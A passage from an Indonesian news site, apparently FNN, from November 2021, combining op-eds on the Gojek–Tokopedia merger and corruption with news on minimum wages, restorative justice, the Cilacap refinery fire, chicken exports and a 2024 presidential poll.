mereka masih akan memberikan discount, harga murah, free ongkir dan berbagai kemudahan lainnya, atau justru mereka akan terjebak pada layanan yang menjadi mahal dan mencekik karena mereka harus mengembalikan uang triliunan rupiah yang dibakar. Berita terakhir yang kita baca misalnya Gojek Decacorn dengan valuasi Rp 140 Triliun merger dengan Tokopedia valuasi Rp 100 Triliun, setelah merger mereka segera akan IPO dengan target memperoleh uang Rp 580 Triliun dari pasar modal. Sangat mudah dibaca bahwa investor akan mencari untung dari profitaki di saham, bukan dari profit putaran bisnis. Saya khawatir target IPO Rp 580 Triliun adalah strategi exit para mafia investor untuk mengembalikan uang yang telah dibakar dari dua raksasa digital Gojek dan Tokopedia sebanyak Rp 240 Triliun yang telah meluluh lantakkan bisnis UMKM kita. Uang yang dibakar sebanyak Rp 240 Triliun itulah yang telah menjadi narkoba yang menjadikan kelompok milenial addict/kecanduan berbagai layanan Gojek dan Tokopedia mulai dari cashback, discount, harga murah, iklan gratis, free ongkir dan lain-lain dan itu semua memakan uang untuk dibakar Rp 240 Triliun, startup yang seperti inilah yang dibanggakan oleh negara dengan sebutan DECACORN. Lalu dari mana investor balik modal, mereka merger menjadi GOTO lalu segera akan IPO di bursa saham dan mentarget penjualan saham Rp 580 Triliun. Kalau itu tercapai maka investor akan mendapatkan untung Rp 340 Triliun dari IPO. Sementara valuasi perusahaan digital adalah jumlah user, loyalitas user tergantung pada discount, free ongkir, cashback, subsisdi dan lain-lain selama discount dan harga murah serta free ongkir masih ada user akan pakai aplikasi itu, tapi begitu hilang maka mereka segera akan berpindah ke lain aplikasi, sebagaimana user BBM berpindah ke WhatsApp lalu user BBM habis dan bangkrutlah persahaan RIM pemilik BBM, selabil itulah user pelanggan Aplikasi, karena sesungguhnya mereka bukah butuh tapi dimanja oleh berbagai layanan murah mudah praktis tapi layanan itu dibiayayai oleh para mafia Investor dengan bakar uang. Pertanyaan besarnya, apakah keuntungan Rp 340 Triliun dari IPO akankah dibakar lagi untuk mempertahankan user yang menjadi valuasi perusahaan? Silakan dipikir sendiri...? Bukankah ini potensial menjadi Buble Ekonomi seperti diperingatkan oleh Menteri Keuangan kita Sri Mulyani, Digital Power Concentration akan mengarah pada Buble ekonomi yang siap memicu krisis ekonomi. Lalu Bagaimana kita mempersiapkan diri menghadapi strategi exit para pemain raksasa digital, bila memang mereka exit. (Bersambung) Penulis Adalah Pokja Ekonomi Musyawarah Ulama dan Tokoh Umat (MUTU)

Kemnaker Bahas Proses Pendapatan Upah Minimum 2022

Jakarta, FNN - Kementerian Ketenagakerjaan membahas proses penetapan Upah Minimum Tahun 2022, kata Direktur Jenderal Pembinaan Hubungan Industrial dan Jaminan Sosial Tenaga Kerja Kemnaker, Indah Anggoro Putri. Ia menyatakan, Peraturan Pemerintah Nomor 36 Tahun 2021 tentang Pengupahan mengamanatkan bahwa kebijakan penetapan upah minimum merupakan salah satu program strategis nasional. "Pemerintah hadir dengan mengatur penetapan upah minimum. Pemerintah peduli terhadap kepentingan pekerja/buruh dan pengusaha serta keberlangsungan berusaha," ucap Dirjen Putri dalam keterangan tertulisnya di Jakarta, Ahad, 14 November 2021. Menurut dia, upah minimum dimaksudkan sebagai pelindungan kepada pekerja/buruh dengan masa kerja kurang dari satu tahun agar upahnya tidak dibayar terlalu rendah. Selain itu, kebijakan upah minimum ditujukan sebagai salah satu instrumen pengentasan kemiskinan dan mendorong kemajuan ekonomi Indonesia. "Upah minimum berdasarkan PP No. 36 Tahun 2021 hanya berdasarkan wilayah, yaitu upah minimum provinsi (UMP) dan upah minimum kabupaten/Kota (UMK). PP 35/2021 tidak mengamanatkan upah minimum berdasarkan sektor. Namun, bagi upah minimum sektor yang ditetapkan sebelum tanggal 20 November 2020 dan masih berlaku, dapat dilanjutkan upah minimum sektoral tersebut selama UMS tersebut nilainya masih lebih tinggi dibandingkan dari UMP atau UMK di wilayah tersebut, dengan demikian seluruh pihak harus tetap patuh dengan pelaksanaan UMK selama masih berlaku." ucapnya, sebagaimana dikutip dari Antara. Ia berharap, melalui pembahasan tersebut, setiap pihak mendukung penetapan Upah Minimum Tahun 2022 sesuai dengan PP Nomor 36 Tahun 2021 tentang pengupahan. Direktur Hubungan Kerja dan Pengupahan, Dinar Titus Jogaswitani mengatakan, semangat dari formula upah minimum berdasarkan PP No. 36 Tahun 2021 adalah untuk mengurangi kesenjangan upah minimum, sehingga terwujud keadilan antarwilayah. Keadilan antarwilayah tersebut dicapai melalui pendekatan rata-rata konsumsi rumah tangga di masing-masing wilayah. Selain itu, katanya, penetapan upah minimum tersebut juga ditujukan untuk mencapai kesejahteraan pekerja/buruh dengan tetap memperhatikan kemampuan perusahaan dan kondisi nasional. Hal tersebut dilakukan melalui penggunaan data-data ekonomi dan ketenagakerjaan yang bersumber dari Badan Pusat Statistik (BPS). Menurutnya, BPS sebagai satu-satunya wali data nasional merupakan lembaga yang independen dan kompeten dalam hal penyediaan data-data makro yang dibutuhkan oleh seluruh pihak yang berkepentingan. "BPS tidak melakukan kegiatan pengumpulan data yang secara khusus ditujukan untuk penghitungan upah minimum," ucapnya. Data-data yang disediakan oleh BPS yang dipergunakan dalam perhitungan upah minimum sudah lama dikumpulkan oleh BPS sebelum disahkan PP No. 36 Tahun 2021. Data-data untuk penghitungan penetapan upah minimum bisa diakses pada wagepedia.kemnaker.go.id. "Data tersebut juga digunakan oleh institusi lain baik lokal maupun internasional dalam merencanakan atau mengambil keputusan yang akan dilakukan, sehingga banyak pihak yang mengawasi data BPS," ucapnya. Dewan Pengupahan Nasional dari unsur pakar pengupahan, Joko Santosa menyatakan, penetapan upah minimum penting untuk menaikkan Indeks daya saing Indonesia dan meningkatkan kepercayaan investor terhadap sistem pengupahan Indonesia terkait kepastian hukum dan indikator perekonomian dan ketenagakerjaan. Selain itu, sambung Joko, dampak lain yang mungkin perlu diantisipasi terhadap penetapan UM pada Covid-19 saat ini yaitu potensi terhambatnya perluasan kesempatan kerja baru, terjadinya substitusi tenaga kerja ke mesin (otomatisasi proses produksi), memicu PHK, mendorong relokasi dari lokasi yang memiliki nilai UMK tinggi kepada lokasi yang memiliki nilai UMK yang lebih rendah, dan mendorong tutupnya perusahaan, khususnya pada situasi pandemi Covid-19 saat ini. "Potensi lainnya yaitu untuk meningkatkan ruang dialog kesepakatan upah serta penerapan struktur dan skala upah di atas upah minimum" ucapnya. Joko juga mengajak seluruh pihak untuk lebih fokus dalam penyesuaian upah di atas upah minimum yang jumlah pekerjanya adalah mayoritas. Terlebih lagi dengan kondisi upah minimum yang sudah di atas median atau rata-rata upah, sebaiknya semua pihak fokus kepada upah berbasis kinerja individu dan produktivitas, sehingga kenaikan upah masing-masing pekerja akan bergantung dengan produktivitas yang dihasilkannya. Bila hal ini dilakukan, maka dapat mendorong kesejahteraan pekerja secara keseluruhan. "Penerapan struktur skala upah dengan penyesuaian berbasis kinerja individu akan mendorong distribusi upah di atas upah minimum secara adil antar jabatan/pekerja yang harus menjadi tujuan perjuangan pekerja dan SP/SB," kata Joko. Seminar tersebut diikuti oleh lebih dari 1.000 partisipan mulai dari bupati/wali kota seluruh Indonesia, kepala dinas yang membidangi ketenagakerjaan provinsi/kabupaten/kota seluruh Indonesia, Dewan Pengupahan provinsi/kabupaten/kota seluruh Indonesia,LKS Tripartit seluruh Indonesia, Apindo, SP/SB, dan stakeholder hubungan industrial. (MD).

Usir dan Jual Kembali Kambing Kambing

By M Rizal Fadillah Di negeri 1001 keanehan, Indonesia saat ini menampilkan diri sebagai sosok yang duduk melamun dengan keluguan, kelucuan, dan kekeliruan. Tidak berdiri dan berlari pada kepribadian yang kokoh dalam kecerdasan, keseriusan, dan kelurusan. Korupsi dan sogok menyogok menjadi budaya jabatan. Perizinan tidak ditandatangan jika permohonan tidak ada lampiran, laporan tidak berlanjut jika tidak ada kedekatan, palu kemenanganpun tidak diketuk sebelum jelas pembuktian. I. Abu Nawas menerima keluhan teman soal sulit mendapat tanda tangan dari pengambil keputusan yang tidak mau tahu tentang kedalaman masalah. Si pejabat selalu menyatakan "jangan terlalu dalam" maksudnya yang penting adalah kontribusi dan urusan segera beres. Abu Nawas menyarankan dan sarannya dijalankan teman. Dikirim wadah bagus berisi tai kebo yang diatasnya dilapisi mentega. Setelah berada dihadapan, pejabat itu mencolek mentega tersebut, lalu merasakan lezatnya. Segera ia menandatangani sambil berujar seperti biasa "jangan terlalu dalam". II. Hakim mempersulit kemenangan Abu Nawas yang bersengketa tanah kebun miliknya dengan tuan tanah yang mengklaim kepemilikan juga. Sogokan tuan tanah sudah masuk ke laci meja Hakim. Dicari kesalahan dan kelemahan Abu Nawas. Ditanyakan berapa lama Abu Nawas memiliki kebun lalu pertanyaan berikut adalah berapa jumlah pohon yang ada di kebun miliknya. Tentu Abu Nawas tidak bisa menjawab atas pertanyaan Hakim yang tak terduga dan mengada ada itu. Tuan tanah sangat merasa senang atas ketidakberdayaan Abu Nawas. Dalam hati memuji kecerdikan Hakim yang memihak pada sogokan. Dalam pembelaan, Abu Nawas bertanya pada Hakim sudah berapa lama Pak Hakim memiliki rumah yang ditinggalinya ? Lalu Abu Nawas bertanya lebih lanjut, berapa jumlah genting dari rumah Pak Hakim ? III. Sahabatnya mengeluh rumahnya sempit anaknya banyak. Suasana tidak menyenangkan. Abu Nawas meminta sahabatnya membeli kambing dan dipelihara di dalam rumah. Makin ruwet keadaan karena kambing mempersempit rumah. Diminta membeli satu lagi kambing lain. Kemudian dibeli dan disimpan di dalam rumah. Anak anak gelisah, istri marah marah. Rumah diacak-acak oleh dua kambing itu. Ruwet, ruwet, ruwet. Abu Nawas menyarankan untuk menjual kembali kambing-kambing itu dan setelah dijual maka situasi kini menjadi nyaman dan mulai tertata kembali. Intervensi terhenti. Ketika Raja tidak berpuas diri dan terus memperbesar hutang luar negeri, investasi dan tenaga kerja asing didatangkan untuk mempersempit negeri, maka intervensi pun terjadi. Mengacak-acak sumber daya alami dan insani. Kambing-kambing mengotori dan membuat gelisah dan marah ibu pertiwi. Usir dan jual kembali kambing-kambing pengacak negeri, niscaya kita lebih mandiri, nyaman, dan tertata lagi. Negeri Abu Nawas harus diakhiri, segera kembali ke jati diri NKRI. *) Pemerhati Masalah Kebangsaan

Peringatan 23 Tahun Tragedi Semanggi

Jakarta, FNN - Mahasiswa Universitas Atma Jaya melakukan tabur bunga saat menggelar peringatan 23 tahun Tragedi Semanggi di Kampus Atma Jaya, Jakarta, Sabtu (13/11/2021). Dalam peringatan Tragedi Semanggi I itu diisi dengan tuntutan terhadap pemerintah untuk menuntaskan pelanggaran-pelanggaran HAM berat di tanah air salah satunya Tragedi Semanggi I. ANTARA FOTO/Hafidz Mubarak A/aww.

Kejati Sulut Hentikan Penuntutan Tiga Perkara Pidana

Jakarta, FNN - Kejaksaan Tinggi Sulawesi Utara menghentikan penuntutan tiga perkara tindak pidana umum (Pidum) dengan melaksanakan keadilan restoratif atau penyelesaian di luar pengadilan. Tiga perkara pidana umum tersebut berasal dari Kejaksaan Negeri (Kejari) Kepulauan Sitaro, dan dua perkara dari Kejari Minahasa. "Kejaksaan Tinggi Sulawesi Utara telah melaksanakan keadilan restoratif terhadap tiga perkara umum," kata Kepala Pusat Penerangan Hukum (Kapuspenkum) Kejaksaan Agung Leonard Eben Ezer Simanjuntak dalam keterangan tertulisnya di Jakarta, Jumat. Adapun tiga perkara tersebut yakni, pidana penganiayaan atas nama tersangka DTK alias Deni yang disangka melakukan perbuatan pidana, sebagaimana yang diatur dalam Pasal 351 ayat (1) KUHPidana tentang Penganiayaan, ditangani Kejari Sitaro. Kedua, perkara tindak pidana pengancaman terhadap anak atas nama tersangka FT alias Febrian yang disangka melakukan perbuatan pidana, sebagaimana yang diatur dalam Pasal 80 ayat (1) Undang-Undang RI Nomor 23 Tahun 2014 tentang Perubahan Atas Undang-Undang RI Nomor 23 Tahun 2002 tentang Perlindungan Anak. Baca juga: Polisi utamakan keadilan restoratif perkara Atta Halilintar dan Savas Selanjutnya perkara tindak pidana penganiayaan atas nama tersangka FA alias Fandi yang disangka melakukan perbuatan pidana, sebagaimana yang diatur dalam Pasal 351 ayat (1) KUHP tentang Penganiayaan. "Ketiga perkara tersebut dilakukan mekanisme "restorative justice" setelah dilakukan ekspose atau gelar perkara pada Senin (8/11) dan Kamis (11/11)," kata Leonard. Pelaksanaan gelar perkara dihadiri Kepala Kejaksaan Tinggi Sulawesi Utara A Dita Pratwitaningsih didampingi Kepala Kejaksaan Negeri Kepulauan Sitaro Aditia Aelman Ali, Kepala Kejaksaan Negeri Minahasa Dicky Octavia serta Kepala Seksi Tindak Pidana Umum dan JPU masing-masing Kejari. Dari ketiga perkara tindak pidana umum yang dilakukan ekspose/gelar perkara tersebut, Jaksa Agung Muda Tindak Pidana Umum Fadil Zumhana memberikan persetujuan untuk dilakukan "restorative justice" dan selanjutnya akan dilakukan penghentian penuntutan oleh Kejaksaan Negeri yang bersangkutan. "Perkara tindak pidana tersebut dapat ditutup demi hukum dan dihentikan penuntutan berdasarkan keadilan restoratif dikarenakan telah memenuhi syarat untuk dilakukan "restorative justice," kata Leonard. Penghentian tuntutan tersebut tertuang dalam Pasal 5 ayat (1) Peraturan Kejaksaan RI Nomor 15 Tahun 2020 tentang Penghentian Penuntutan Berdasarkan Keadilan Restoratif. Ada tiga syarat penghentian tuntutan dalam keadilan restoratif, yakni tersangka baru pertama kali melakukan tindak pidana, tindak pidana yang dilakukan tersangka diancam pidana penjara tidak lebih dari lima tahun, dan telah adanya kesepakatan perdamaian secara lisan dan tulisan didepan penuntut umum dan para saksi. "Pelaksanaan penghentian penuntutan berdasarkan Keadilan restoratif di Kejaksaan Tinggi Sulawesi Utara dilaksanakan dengan menerapkan secara ketat protokol kesehatan dengan memperhatikan 3M," kata Leonard. Sebelumnya, dalam rapat kerja teknis (Rakernis) Bidang Tindak Pidana Umum Tahun 2021 di Gedung Kejaksaan Agung, Rabu (1/9), Jaksa Agung Sanitiar Burhanuddin meminta agar jaksa menjadi penegak keadilan restoratif dan harus mampu menegakkan hukum yang memiliki nilai kemanfaatan bagi masyarakat. "Saya ingin Kejaksaan dikenal melekat di mata masyarakat sebagai institusi yang mengedepankan hati nurani dan penegak keadilan restoratif," kat Burhanuddin. Berdasarkan laporan yang diterima oleh Jaksa Agung, hasil evaluasi sejak diberlakukan keadilan restoratif pada 22 Juli 2020 sampai dengan 1 Juni 2021, terdapat sebanyak 268 perkara yang berhasil dihentikan berdasarkan keadilan restoratif. Adapun tindak pidana yang paling banyak diselesaikan dengan pendekatan keadilan restoratif adalah tindak pidana penganiayaan, pencurian dan lalu lintas. (sws, ant)

MAKI Terima Tantangan Luhut Audit LSM

Jakarta, FNN -- Koordinator Masyarakat Anti Korupsi Indonesia (MAKI) Boyamin Saiman menyambut baik tantangan Menkoarinves Luhut Binsar Panjaitan yang akan melakukan audit terhadap Lembaga Swadaya Masyarakat di Indonesia. Demikian pernyataan media yang diterima FNN Sabtu, 13 November 2021. Sebelumnya Menteri Koordinator bidang Kemaritiman dan Investasi (Menko Marves) Luhut Binsar Pandjaitan menyatakan akan mengaudit non-government organisation (NGO) atau lembaga swadaya masyarakat (LSM) di Indonesia. Luhut mengaku akan melakukan audit itu karena menurutnya ada LSM-LSM yang dituduhnya telah menyebarkan informasi yang tidak benar. "NGO-NGO ini kita mau audit, jadi jangan menyebarkan berita-berita yang enggak benar, ya, saya udah bilang kita mau audit, enggak bener dong kamu memberikan berita yang enggak benar," kata Luhut. Koordinator MAKI, Boyamin Saiman kepada FNN mengatakan bahwa MAKI sangat bergembira menyambut baik rencana audit tersebut dan bersedia membuka semua hal yang diperlukan terkait kinerja dan keuangan. MAKI memahami audit yang dilakukan oleh Pemerintah sebagai bentuk saling mengontrol karena LSM tidak boleh merasa hebat dan tidak mau dikontrol. LSM dalam geraknya adalah mengontrol Pemerintah sehingga sebaliknya LSM harus bersedia dikontrol Pemerintah sebagai bentuk check and balance. Audit ini bukan sebagai bentuk intervensi terhadap independensi kerja-kerja LSM. MAKI tidak akan risih jika dilakukan audit oleh Pemerintah. Kalau bersih, kenapa takut ? MAKI justru memahami audit yang dilakukan pemerintah akan kredibel karena dilakukan oleh pihak luar LSM. Jika audit dilakukan oleh LSM sendiri maka publik diperkirakan meragukannya. MAKI dengan senang hati jika nantinya akan dapat penilaian apapun dari hasil audit Pemerintah, baik positif dan negatif demi perbaikan kinerjanya sendiri. MAKI akan sangat terbuka terkait sumber keuangan dan penggunaannya karena selama ini MAKI sepenuhnya hanya mendapat subsidi dari kantor hukum Boyamin Saiman, tidak ada pendanaan dari pemerintah ataupun lembaga donor manapun baik dalam negeri ataupun luar negeri. MAKI hanya akan sangat tertutup terkait sumber-sumber informasi terkait pengungkapan kasus-kasus korupsi yang selama ini dikawal oleh MAKI. Sebagai bentuk keseriuasan MAKI minta audit oleh LBP, MAKI akan berkirim surat resmi kpd LBP , jika MAKI tidak dilakukan diaudit maka MAKI akan gugat LBP ke Pengadilan Tata Usaha Negara karena tidak menerbitkan Surat Keputusan perintah audit kepada MAKI. (sws)

Pertamina Pakai "Foam Monitor" untuk Padamkan Kebakaran Kilang Cilacap

Jakarta, FNN - PT Pertamina (Persero) menggunakan kapasitas maksimal alat pemadam berupa foam monitor untuk memadamkan kebakaran di Kilang Cilacap, Jawa Tengah. Sekretaris Perusahaan Kilang Pertamina Internasional Ifki Sukarya mengatakan saat ini pihaknya masih berupaya maksimal untuk melakukan pemadaman kebakaran tersebut. "Upaya pemadaman dilakukan secara intensive dengan menggunakan high capacity foam monitor pada tangki yang terbakar," ujarnya dalam keterangan di Jakarta, Sabtu. Selain itu, Pertamina juga melakukan upaya pendinginan menggunakan water sprinkle untuk tangki-tangki yang berada di sekitar lokasi kebakaran agar api tidak merambat. Perseroan juga melakukan pengecekan masyarakat di sekitar area kejadian untuk memastikan mereka dalam kondisi aman. Ifki mengungkapkan peristiwa kebakaran itu terjadi sekitar pukul 19.20 WIB pada sebuah tangki yang berisi produk Pertalite dan hingga kini masih belum diketahui secara pasti penyebab kebakaran tersebut. Kilang Cilacap merupakan satu dari enam Kilang Pertamina dan kapasitas pengolahan 270 ribu barel per hari. Kilang ini memiliki sekitar 200 tangki untuk menampung crude yang akan diolah, gas serta BBM hasil pengolahan minyak mentah. Meskipun terjadi kebakaran, Pertamina memastikan pasokan BBM dan elpiji untuk masyarakat tetap aman. "Saat ini, Pertamina juga memastikan pasokan BBM dan elpiji ke masyarakat dalam kondisi aman dan tidak mengalami gangguan," kata Ifki. (mth)

Akademisi: Penolakan terhadap Permendikbudristek No.30/2021 Politis

Jakarta, FNN - Penolakan beberapa pihak terhadap Permendikbudristek No.30 Tahun 2021 bersifat politis dan populis karena argumen mereka sering hanya memantik emosi publik, kata Ahli Studi Islam dan Gender UIN Sunan Gunung Djati Bandung Prof. Nina Nurmila. Prof. Nina, saat berbicara pada sesi diskusi virtual yang diselenggarakan Dewan Guru Besar Universitas Indonesia, Sabtu, menjelaskan muatan politis itu terlihat dari label atau stigma yang dilekatkan pada Permendikbudristek No.30 Tahun 2021 tentang Pencegahan dan Penanganan Kekerasan Seksual (PPKS) di Lingkungan Perguruan Tinggi. Kelompok penolak, kata Prof. Nina, melabeli frasa “tanpa persetujuan korban” pada beberapa pasal sebagai aturan yang melegalisasi zina dan hubungan seksual di luar pernikahan. “Saya memikirkan kenapa diinterpretasi jauh ke misalnya kalau disetujui korban, dibolehkan, itu (dianggap) membolehkan seks bebas. Itu legalisasi zina,” sebut Nina Nurmila. Ia menilai stigma legalisasi zina itu sesat pikir dan tidak tepat. Menurut dia, pemikiran semacam itu muncul karena kelompok penolak kurang memahami isi dan tujuan Permendikbudristek No.30/2021. “Saya kira perlu pihak penolak membaca secara utuh, memiliki pengetahuan yang jernih (mengenai) pentingnya dimasukkan frasa tanpa persetujuan korban,” terang dia. Frasa “tanpa persetujuan korban” termuat dalam Pasal 5 ayat (2) poin B, F, G, H, I, M, Permendikbudristek No.30/2021 yang seluruhnya menerangkan perbuatan-perbuatan yang masuk kategori kekerasan seksual. Dalam poin l, misalnya, peraturan itu menyebut kekerasan seksual mencakup tindakan “menyentuh, mengusap, meraba, memegang, mencium, dan/atau menggosokkan tubuhnya pada tubuh korban tanpa persetujuan korban”. Menurut kelompok yang menolak, frasa itu bermasalah karena menunjukkan Peraturan Mendikbudristek mengizinkan adanya perbuatan tersebut dilakukan di lingkungan kampus. Prof Nina pun mendorong berbagai pihak untuk cermat memahami frasa itu. “Mereka yang mendukung kebijakan ini perlu memberi kontranarasi agar masyarakat bisa dicerdaskan, tidak digiring oleh populisme yang logikanya tidak bisa diterima,” sebutnya. Kontranarasi yang dapat disampaikan, antara lain memberi pemahaman bahwa Permendikbudristek No.30/2021 merupakan aturan untuk melindungi korban kekerasan seksual dan menghukum pelaku. Kontranarasi lainnya perbuatan asusila dan zina telah diatur dalam produk hukum yang lain dan tidak harus diatur kembali dalam Permendikbudristek No.30/2021. “Menolak kebijakan tentang pencegahan dan penanganan kekerasan seksual di lingkungan perguruan tinggi sama dengan mendukung terjadinya kekerasan seksual,” kata Prof Nina dalam presentasinya. Perguruan tinggi, lanjutnya, harus mengubah tradisi menyembunyikan kasus kekerasan seksual demi nama baik kampus menjadi merespons berbagai laporan, melindungi korban, dan menindak pelaku. (mth)

Dalam 4 Bulan Kilang Pertamina Cilacap Terbakar Dua Kali

Jakarta, FNN - Kilang minyak Cilacap Refinery Unit (RU IV) milik PT Pertamina (Persero), Jawa Tengah kembali terbakar. Ini kebakaran kedua dalam waktu 4 bulan. Seperti diketahui, kilang Cilacap RU IV sebelumnya pernah terbakar pada Jumat (11/6/2021) lalu. Kilang Cilacap merupakan satu dari 6 Kilang Pertamina, dan kapasitas pengolahan 270 ribu barel per hari. Kilang ini memiliki sekitar 200 tangki untuk menampung crude yang akan diolah, gas serta BBM hasil pengolahan minyak mentah. PT Pertamina (Persero) menyatakan kebakaran Kilang Cilacap di Jawa Tengah yang terjadi malam ini berada di sebuah tangki berisi produk Pertalite. "Kebakaran mulai sekitar pukul 19.20 WIB terjadi di sebuah tanki berisi produk Pertalite," kata Sekretaris Perusahaan Kilang Pertamina Internasional Ifki Sukarya dalam keterangannya di Jakarta, Sabtu. Ifki mengatakan pihaknya saat ini tengah berupaya maksimal untuk melakukan pemadaman kebakaran tangki di area Kilang Cilacap dan masih belum mengetahui secara pasti penyebab kebakaran. Upaya pemadaman dilakukan secara intensif dengan menggunakan high capacity foam monitor pada tangki yang terbakar, sedangkan untuk tangki di sekitar dilakukan pendinginan dengan water sprinkle untuk mencegah api yang merambat. Saat ini, Pertamina juga sedang melakukan pengecekan masyarakat di sekitar area kejadian untuk memastikan masyarakat dalam kondisi aman. Perseroan melakukan evakuasi masyarakat yang berlokasi di area terdekat dengan lokasi ke area yang lebih aman. Saat ini, Pertamina juga memastikan pasokan bahan bakar minyak dan elpiji ke masyarakat dalam kondisi aman dan tidak mengalami gangguan. Sebelumnya pemerintah berencana menaikkan harga Pertalite sebesar Rp 1.500 per liter. Hal itu didorong akibat fluktuasi harga minyak dunia. Terkait penyesuaian harga BBM non subsidi tersebut bisa disesuaikan melalui Keputusan Menteri (Kepmen) ESDM Nomor 62 K/12/MEM/2020 tentang Formula Harga Dasar Dalam Perhitungan Harga Jual Eceran Jenis Bahan Bakar Minyak Umum Jenis Bensin dan Minyak Solar yang Disalurkan Melalui Stasiun Pengisian Bahan Bakar Umum (SPBU). Belum sempat naik, kilang Pertalite di Cilacap terbakar, Sabtu malam, 13 November 2021. (sws, ant)

Kemendag Gandeng Astra Cetak Pesantren Eksportir Daging Ayam

Jakarta, FNN - Kementerian Perdagangan RI melalui Direktorat Jenderal Pengembangan Ekspor Nasional (Ditjen PEN) bekerjasama dengan PT Astra International Tbk untuk mencetak para peternak ayam kecil dari pesantren agar siap menjadi eksportir daging ayam ke negara tetangga dan negara mayoritas muslim. "Saat ini tengah menjajaki peluang ekspor perdana produk daging ayam ke Malaysia,” ujar Direktur Jenderal Pengembangan Ekspor Nasional Kemendag Didi Sumedi lewat keterangannya diterima di Jakarta, Sabtu. Peternak ayam tersebut merupakan binaan Ikatan Pesantren Penggerak Ekonomi Masyarakat Desa Indonesia (Insan Madani) yang merupakan fasilitator lima sentra ayam Desa Sejahtera Astra (DSA) pesantren di Jawa Timur yaitu Al Azhar Aslich Mughny, Al Fatah, Mambaul Ulum, Anharul Ulum, dan Fathul Ulum. Sinergi tersebut, salah satunya diwujudkan Kemendag dengan menfasilitasi penandatanganan Perjanjian Kerja Sama mengenai Pengembangan Ekosistem Kemitraan Usaha Mikro, Kecil dan Menengah (UMKM) DSA antara Insan Madani dan PT Darbe Jaya Abadi (Darbe Meats). Penandatanganan dilaksanakan pada Sabtu di Sidoarjo, Jawa Timur dan disaksikan Direktur Kerja Sama Pengembangan Ekspor Marolop Nainggolan. “Melalui kerja sama ini, Darbe Meats berkomitmen untuk menjadi penjamin (off taker) dan fasilitator DSA pesantren untuk komoditas produk peternakan ayam. Ke depannya, lima DSA pesantren yang tersebar di Blitar, Malang, dan Jombang akan menjadi pemasok ayam kepada Darbe Meats. Para pemasok ayam selanjutnya memasok kebutuhan pasar dalam negeri dan pasar global," ujar Didi. Direktur Kerja Sama Pengembangan Ekspor Marolop Nainggolan menjelaskan, ruang lingkup kerja sama ini antara lain bidang pemasaran untuk produk ayam dan turunannya bagi pasar lokal dan internasional, pengembangan rantai pasok (value chain) produk ayam dan turunannya, serta pembinaan dan pelatihan bagi peternak DSA pesantren produsen produk ayam dan turunannya. Selain itu juga meliputi pemanfaatan ekosistem dan teknologi digital bagi para UMKM dan peternak binaan DSA, menghubungkan dan mencocokkan (link and match) produk ekspor serta memfasilitasi pemasaran melalui kerja sama dengan para pemangku kepentingan ekspor di luar negeri, seperti Indonesian Trade Promotion Center, Atase Perdagangan RI, Kedutaan Besar RI, dan diaspora. Saat ini, lanjut Marolop, berbagai pihak terkait sedang berupaya menjawab tantangan yang dihadapi. Misalnya, ketentuan standar keamanan pangan (food safety) di negara tujuan dan masih mahalnya ongkos logistik karena situasi pandemi. Dia berharap, kerja sama antara Insan Madani dan Darbe Meats dapat membuat produk ayam Indonesia lebih merambah pasar ekspor yang lebih luas. “Kami berharap kerja sama ini dapat membawa hasil konkret melalui peningkatan nilai ekspor produk ayam Indonesia dan peningkatan kesejahteraan peternak kecil yang dibina oleh DSA pesantren,” katanya. Insan Madani memiliki visi dan misi mengelola pesantren tidak hanya sebagai tempat para santri menuntut ilmu agama, tetapi juga mencetak sociopreneur (wirausaha yang lebih menekankan pada unsur isu sosial). Tujuannya agar dapat mengembangkan lini bisnis produk unggulan desa yang berkontribusi kepada masyarakat sekitar. Desa Sejahtera Astra adalah program kewirausahaan berbasis masyarakat desa yang dijalankan oleh PT Astra International Tbk dengan mengoptimalkan potensi lokal dan produk unggulan desa agar bersaing di pasar global melalui ekspor. Menurut Head of Corporate Social Responsibility PT Astra International Tbk Bondan Susilo, kerja sama Kemendag dan Astra memberikan dukungan peningkatan kapasitas (capacity building), peningkatan fasilitas produksi, dan akses sumber daya bagi peternak ayam DSA pesantren. “Kemendag memberikan dukungan untuk membuka akses pasar dan promosi ekspor kepada buyers melalui jejaring perwakilan perdagangan di luar negeri,” katanya. Berdasarkan data Badan Pusat Statistik (BPS), selama lima tahun terakhir (2016—2020), nilai ekspor daging ayam Indonesia tumbuh dengan tren 16,9 persen per tahunnya. Pada Januari-Agustus 2021, nilai ekspor daging ayam Indonesia mencapai 999 ribu dolar AS. Adapun negara tujuan ekspor utama daging ayam Indonesia yaitu Jepang, Timor Leste, Papua Nugini, Qatar, Taiwan, Singapura, Malaysia, dan Australia. Pada hari yang sama juga dilakukan kunjungan ke DSA yang merupakan produsen produk unggulan Jawa Timur lainnya antara lain DSA Malang (penghasil domba, kain batik, keripik buah), DSA Blitar (ikan koi), DSA Ponorogo (rempah), dan DSA Lamongan (pisang). (sws, ant).

Survei Capres: Prabowo - Puan Unggul Tipis Atas Ganjar - Airlangga

Jakarta, FNN - Survei Y-Publica menunjukkan simulasi pasangan calon presiden untuk Pemilu 2024 Prabowo Subianto dan Puan Maharani unggul tipis elektabilitasnya dibandingkan Ganjar Pranowo-Airlangga Hartarto. Direktur Eksekutif Y-Publica Rudi Hartono dalam rilisnya di Jakarta Sabtu, mengatakan bahwa Lembaga Survei Y-Publica melakukan simulasi terhadap pasangan capres/cawapres dengan memasangkan lima nama capres paling kuat dengan lima tokoh yang layak menjadi cawapres. Kelima capres tersebut adalah Ganjar Pranowo, Prabowo Subianto, Ridwan Kamil, Anies Baswedan, dan Sandiaga Uno. Kelima cawapres adalah Puan Maharani, Airlangga Hartarto, Agus Harimurti Yudhoyono, Erick Thohir, dan Gatot Nurmantyo. Hasilnya pasangan Prabowo-Puan paling diunggulkan oleh publik, bersaing ketat dengan pasangan Ganjar-Airlangga. "Dalam simulasi terhadap pasangan capres/cawapres, Prabowo-Puan unggul tipis terhadap Ganjar-Airlangga," kata Rudi Hartono. Prabowo-Puan didukung oleh 85,6 persen, sedangkan yang tidak mendukung 12,1 persen dan sisanya tidak tahu/tidak menjawab 2,3 persen. Pasangan Ganjar-Airlangga didukung oleh 84,1 persen, tidak mendukung 11,2 persen, dan tidak tahu/tidak menjawab 4,7 persen. Menurut Rudi, dukungan kuat terhadap Prabowo-Puan tidak mengejutkan mengingat sudah cukup lama digaungkan oleh berbagai pihak. Prabowo-Puan merepresentasikan dua kekuatan partai politik terbesar di pemerintahan, yaitu PDIP dan Gerindra. Hal yang mengejutkan adalah pasangan Ganjar-Airlangga yang bisa mengimbangi Prabowo-Puan. Ganjar yang merupakan kader PDIP selama ini mengantongi elektabilitas terkuat sebagai capres tetapi PDIP lebih menjagokan Puan. "Meskipun tanpa dukungan 